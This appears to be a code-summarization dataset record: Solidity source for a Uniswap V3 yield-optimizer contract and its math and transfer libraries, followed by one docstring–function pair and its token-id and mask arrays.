then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a uint256 to a uint128, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint128 function toUint128(uint256 y) internal pure returns (uint128 z) { require((z = uint128(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y, string memory errorMessage) internal pure returns (uint256 z) { require((z = x - y) <= x, errorMessage); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul128(uint128 x, uint128 y) internal pure returns (uint128 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul160(uint160 x, uint160 y) internal pure returns (uint160 z) { require(x == 0 || (z = x * y) / x == y); } } /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } } library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "RC"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; } /// @title PopsicleV3 Optimizer is a yield enchancement v3 contract /// @dev PopsicleV3 Optimizer is a Uniswap V3 yield enchancement contract which acts as /// intermediary between the user who wants to provide liquidity to specific pools /// and earn fees from such actions. The contract ensures that user position is in /// range and earns maximum amount of fees available at current liquidity utilization /// rate. contract PopsicleV3Optimizer is ERC20Permit, ReentrancyGuard, IPopsicleV3Optimizer { using LowGasSafeMath for uint256; using LowGasSafeMath for uint160; using LowGasSafeMath for uint128; using UnsafeMath for uint256; using SafeCast for uint256; using PoolVariables for IUniswapV3Pool; using PoolActions for IUniswapV3Pool; //Any data passed through by the caller via the IUniswapV3PoolActions#mint call struct MintCallbackData { address payer; } //Any data passed through by the caller via the IUniswapV3PoolActions#swap call struct SwapCallbackData { bool zeroForOne; } /// @notice Emitted when user adds liquidity /// @param sender The address that minted the liquidity /// @param share The amount of share of liquidity added by the user to position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Deposit( address indexed sender, uint256 share, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user withdraws liquidity /// @param sender The address that minted the liquidity /// @param shares of liquidity withdrawn by the user from the position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Withdraw( address indexed sender, uint256 shares, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees was collected from the pool /// @param feesFromPool0 Total amount of fees collected in terms of token 0 /// @param feesFromPool1 Total amount of fees collected in terms of token 1 /// @param usersFees0 Total amount of fees collected by users in terms of token 0 /// @param usersFees1 Total amount of fees collected by users in terms of token 1 event CollectFees( uint256 feesFromPool0, uint256 feesFromPool1, uint256 usersFees0, uint256 usersFees1 ); /// @notice Emitted when fees was compuonded to the pool /// @param amount0 Total amount of fees compounded in terms of token 0 /// @param amount1 Total amount of fees compounded in terms of token 1 event CompoundFees( uint256 amount0, uint256 amount1 ); /// @notice Emitted when PopsicleV3 Optimizer changes the position in the pool /// @param tickLower Lower price tick of the positon /// @param tickUpper Upper price tick of the position /// @param amount0 Amount of token 0 deposited to the position /// @param amount1 Amount of token 1 deposited to the position event Rerange( int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user collects his fee share /// @param sender User address /// @param fees0 Exact amount of fees claimed by the users in terms of token 0 /// @param fees1 Exact amount of fees claimed by the users in terms of token 1 event RewardPaid( address indexed sender, uint256 fees0, uint256 fees1 ); /// @notice Shows current Optimizer's balances /// @param totalAmount0 Current token0 Optimizer's balance /// @param totalAmount1 Current token1 Optimizer's balance event Snapshot(uint256 totalAmount0, uint256 totalAmount1); event TransferGovernance(address indexed previousGovernance, address indexed newGovernance); /// @notice Prevents calls from users modifier onlyGovernance { require(msg.sender == governance, "OG"); _; } /// @inheritdoc IPopsicleV3Optimizer address public immutable override token0; /// @inheritdoc IPopsicleV3Optimizer address public immutable override token1; // WETH address address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // @inheritdoc IPopsicleV3Optimizer int24 public immutable override tickSpacing; uint constant MULTIPLIER = 1e6; uint24 constant GLOBAL_DIVISIONER = 1e6; // for basis point (0.0001%) //The protocol's fee in hundredths of a bip, i.e. 1e-6 uint24 constant protocolFee = 1e5; mapping (address => bool) private _operatorApproved; // @inheritdoc IPopsicleV3Optimizer IUniswapV3Pool public override pool; // Accrued protocol fees in terms of token0 uint256 public protocolFees0; // Accrued protocol fees in terms of token1 uint256 public protocolFees1; // Total lifetime accrued fees in terms of token0 uint256 public totalFees0; // Total lifetime accrued fees in terms of token1 uint256 public totalFees1; // Address of the Optimizer's owner address public governance; // Pending to claim ownership address address public pendingGovernance; //PopsicleV3 Optimizer settings address address public strategy; // Current tick lower of Optimizer pool position int24 public override tickLower; // Current tick higher of Optimizer pool position int24 public override tickUpper; // Checks if Optimizer is initialized bool public initialized; bool private _paused = false; /** * @dev After deploying, strategy can be set via `setStrategy()` * @param _pool Underlying Uniswap V3 pool with fee = 3000 * @param _strategy Underlying Optimizer Strategy for Optimizer settings */ constructor( address _pool, address _strategy ) ERC20("Popsicle LP V3 USDC/WETH", "PLP") ERC20Permit("Popsicle LP V3 USDC/WETH") { pool = IUniswapV3Pool(_pool); strategy = _strategy; token0 = pool.token0(); token1 = pool.token1(); tickSpacing = pool.tickSpacing(); governance = msg.sender; _operatorApproved[msg.sender] = true; } //initialize strategy function init() external onlyGovernance { require(!initialized, "F"); initialized = true; int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier(); ( , int24 currentTick, , , , , ) = pool.slot0(); int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; PoolVariables.checkRange(tickLower, tickUpper); //check ticks also for overflow/underflow } /// @inheritdoc IPopsicleV3Optimizer function deposit( uint256 amount0Desired, uint256 amount1Desired, address to ) external override nonReentrant checkDeviation whenNotPaused returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { require(amount0Desired > 0 && amount1Desired > 0, "ANV"); _earnFees(); _compoundFees(); // prevent user drains others uint128 liquidityLast = pool.positionLiquidity(tickLower, tickUpper); // compute the liquidity amount uint128 liquidity = pool.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper); (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: msg.sender}))); shares = _calcShare(liquidity*MULTIPLIER, liquidityLast*MULTIPLIER); _mint(to, shares); require(IOptimizerStrategy(strategy).maxTotalSupply() >= totalSupply(), "MTS"); emit Deposit(msg.sender, shares, amount0, amount1); } /// @inheritdoc IPopsicleV3Optimizer function withdraw( uint256 shares, address to ) external override nonReentrant checkDeviation whenNotPaused returns ( uint256 amount0, uint256 amount1 ) { require(shares > 0, "S"); require(to != address(0), "WZA"); _earnFees(); _compoundFees(); (amount0, amount1) = pool.burnLiquidityShare(tickLower, tickUpper, totalSupply(), shares, to); require(amount0 > 0 || amount1 > 0, "EA"); // Burn shares _burn(msg.sender, shares); emit Withdraw(msg.sender, shares, amount0, amount1); } /// @inheritdoc IPopsicleV3Optimizer function rerange() external override nonReentrant checkDeviation { require(_operatorApproved[msg.sender], "ONA"); _earnFees(); //Burn all liquidity from pool to rerange for Optimizer's balances. pool.burnAllLiquidity(tickLower, tickUpper); // Emit snapshot to record balances uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); emit Snapshot(balance0, balance1); int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier(); //Get exact ticks depending on Optimizer's balances (tickLower, tickUpper) = pool.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing); //Get Liquidity for Optimizer's balances uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper); // Add liquidity to the pool (uint256 amount0, uint256 amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, amount0, amount1); } /// @inheritdoc IPopsicleV3Optimizer function rebalance() external override nonReentrant checkDeviation { require(_operatorApproved[msg.sender], "ONA"); _earnFees(); //Burn all liquidity from pool to rerange for Optimizer's balances. pool.burnAllLiquidity(tickLower, tickUpper); //Calc base ticks (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); PoolVariables.Info memory cache; int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier(); (cache.tickLower, cache.tickUpper) = PoolVariables.baseTicks(currentTick, baseThreshold, tickSpacing); cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); // Calc liquidity for base ticks cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); // Get exact amounts for base ticks (cache.amount0, cache.amount1) = pool.amountsForLiquidity(cache.liquidity, cache.tickLower, cache.tickUpper); // Get imbalanced token bool zeroForOne = PoolVariables.amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); // Calculate the amount of imbalanced token that should be swapped. Calculations strive to achieve one to one ratio int256 amountSpecified = zeroForOne ? int256(cache.amount0Desired.sub(cache.amount0).unsafeDiv(2)) : int256(cache.amount1Desired.sub(cache.amount1).unsafeDiv(2)); // always positive. "overflow" safe convertion cuz we are dividing by 2 // Calculate Price limit depending on price impact uint160 exactSqrtPriceImpact = sqrtPriceX96.mul160(IOptimizerStrategy(strategy).priceImpactPercentage() / 2) / GLOBAL_DIVISIONER; uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96.sub160(exactSqrtPriceImpact) : sqrtPriceX96.add160(exactSqrtPriceImpact); //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit pool.swap( address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, abi.encode(SwapCallbackData({zeroForOne: zeroForOne})) ); (sqrtPriceX96, currentTick, , , , , ) = pool.slot0(); // Emit snapshot to record balances cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); //Get exact ticks depending on Optimizer's new balances (tickLower, tickUpper) = pool.getPositionTicks(cache.amount0Desired, cache.amount1Desired, baseThreshold, tickSpacing); cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, tickLower, tickUpper); // Add liquidity to the pool (cache.amount0, cache.amount1) = pool.mint( address(this), tickLower, tickUpper, cache.liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, cache.amount0, cache.amount1); } // Calcs user share depending on deposited amounts function _calcShare(uint256 liquidity, uint256 liquidityLast) internal view returns ( uint256 shares ) { shares = totalSupply() == 0 ? liquidity : liquidity.mul(totalSupply()).unsafeDiv(liquidityLast); } /// @dev Amount of token0 held as unused balance. function _balance0() internal view returns (uint256) { return IERC20(token0).balanceOf(address(this)).sub(protocolFees0); } /// @dev Amount of token1 held as unused balance. function _balance1() internal view returns (uint256) { return IERC20(token1).balanceOf(address(this)).sub(protocolFees1); } /// @dev collects fees from the pool function _earnFees() internal { uint liquidity = pool.positionLiquidity(tickLower, tickUpper); if (liquidity == 0) return; // we can't poke when liquidity is zero // Do zero-burns to poke the Uniswap pools so earned fees are updated pool.burn(tickLower, tickUpper, 0); (uint256 collect0, uint256 collect1) = pool.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); // Calculate protocol's fees uint256 earnedProtocolFees0 = collect0.mul(protocolFee).unsafeDiv(GLOBAL_DIVISIONER); uint256 earnedProtocolFees1 = collect1.mul(protocolFee).unsafeDiv(GLOBAL_DIVISIONER); protocolFees0 = protocolFees0.add(earnedProtocolFees0); protocolFees1 = protocolFees1.add(earnedProtocolFees1); totalFees0 = totalFees0.add(collect0); totalFees1 = totalFees1.add(collect1); emit CollectFees(collect0, collect1, totalFees0, totalFees1); } function _compoundFees() internal returns (uint256 amount0, uint256 amount1){ uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); emit Snapshot(balance0, balance1); //Get Liquidity for Optimizer's balances uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper); // Add liquidity to the pool if (liquidity > 0) { (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit CompoundFees(amount0, amount1); } } /// @notice Returns current Optimizer's position in pool function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1) { bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper); (liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1) = pool.positions(positionKey); } /// @notice Returns current Optimizer's users amounts in pool function usersAmounts() external view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = pool.usersAmounts(tickLower, tickUpper); } /// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay to the pool for the minted liquidity. /// @param amount0 The amount of token0 due to the pool for the minted liquidity /// @param amount1 The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external { require(msg.sender == address(pool), "FP"); MintCallbackData memory decoded = abi.decode(data, (MintCallbackData)); if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0); if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1); } /// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap. /// @dev In the implementation you must pay to the pool for swap. /// @param amount0 The amount of token0 due to the pool for the swap /// @param amount1 The amount of token1 due to the pool for the swap /// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0, int256 amount1, bytes calldata _data ) external { require(msg.sender == address(pool), "FP"); require(amount0 > 0 || amount1 > 0, "LEZ"); // swaps entirely within 0-liquidity regions are not supported SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); bool zeroForOne = data.zeroForOne; if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0)); else pay(token1, address(this), msg.sender, uint256(amount1)); } /// @param token The token to pay /// @param payer The entity that must pay /// @param recipient The entity that will receive payment /// @param value The amount to pay function pay( address token, address payer, address recipient, uint256 value ) internal { if (token == weth && address(this).balance >= value) { // pay with WETH9 IWETH9(weth).deposit{value: value}(); // wrap only what is needed to pay IWETH9(weth).transfer(recipient, value); } else if (payer == address(this)) { // pay with tokens already in the contract (for the exact input multihop case) TransferHelper.safeTransfer(token, recipient, value); } else { // pull payment TransferHelper.safeTransferFrom(token, payer, recipient, value); } } /** * @notice Used to withdraw accumulated protocol fees. */ function collectProtocolFees( uint256 amount0, uint256 amount1 ) external nonReentrant onlyGovernance { _earnFees(); require(protocolFees0 >= amount0, "A0F"); require(protocolFees1 >= amount1, "A1F"); uint256 balance0 = IERC20(token0).balanceOf(address(this)); uint256 balance1 = IERC20(token1).balanceOf(address(this)); require(balance0 >= amount0 && balance1 >= amount1); if (amount0 > 0) pay(token0, address(this), msg.sender, amount0); if (amount1 > 0) pay(token1, address(this), msg.sender, amount1); protocolFees0 = protocolFees0.sub(amount0); protocolFees1 = protocolFees1.sub(amount1); _compoundFees(); emit RewardPaid(msg.sender, amount0, amount1); } // Function modifier that checks if price has not moved a lot recently. // This mitigates price manipulation during rebalance and also prevents placing orders // when it's too volatile. modifier checkDeviation() { pool.checkDeviation(IOptimizerStrategy(strategy).maxTwapDeviation(), IOptimizerStrategy(strategy).twapDuration()); _; } /** * @notice `setGovernance()` should be called by the existing governance * address prior to calling this function. */ function setGovernance(address _governance) external onlyGovernance { pendingGovernance = _governance; } /** * @notice Governance address is not updated until the new governance * address has called `acceptGovernance()` to accept this responsibility. */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "PG"); emit TransferGovernance(governance, pendingGovernance); pendingGovernance = address(0); governance = msg.sender; } // Sets new strategy contract address for new settings function setStrategy(address _strategy) external onlyGovernance { require(_strategy != address(0), "NA"); strategy = _strategy; } function approveOperator(address _operator) external onlyGovernance { _operatorApproved[_operator] = true; } function disableOperator(address _operator) external onlyGovernance { _operatorApproved[_operator] = false; } function isOperator(address _operator) external view returns (bool) { return _operatorApproved[_operator]; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "P"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "NP"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() external onlyGovernance whenNotPaused { _paused = true; } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() external onlyGovernance whenPaused { _paused = false; } }
@notice Returns x + y, reverts if sum overflows uint128 @param x The augend @param y The addend @return z The sum of x and y
function add128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x + y) >= x); }
9,463
[ 1, 1356, 619, 397, 677, 16, 15226, 87, 309, 2142, 9391, 87, 2254, 10392, 225, 619, 1021, 31350, 409, 225, 677, 1021, 527, 409, 327, 998, 1021, 2142, 434, 619, 471, 677, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
